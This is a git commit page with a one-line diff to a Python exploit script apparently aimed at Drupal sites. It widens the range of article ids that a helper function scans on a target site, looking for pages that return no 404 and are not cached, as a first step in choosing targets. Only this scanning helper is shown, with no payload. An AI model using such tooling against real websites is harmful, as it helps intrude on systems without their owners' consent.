retore the upper bound from the original exploit implementation

This commit is contained in:
ophirharpazg 2020-09-01 12:39:36 +03:00
parent 9fcf2fe0e6
commit bdba20133d
1 changed files with 1 additions and 1 deletions

View File

@ -122,7 +122,7 @@ def is_response_cached(r: requests.Response) -> bool:
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10) -> set: def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
""" Find target articles that do not 404 and are not cached """ """ Find target articles that do not 404 and are not cached """
articles = set() articles = set()
while lower < upper: while lower < upper: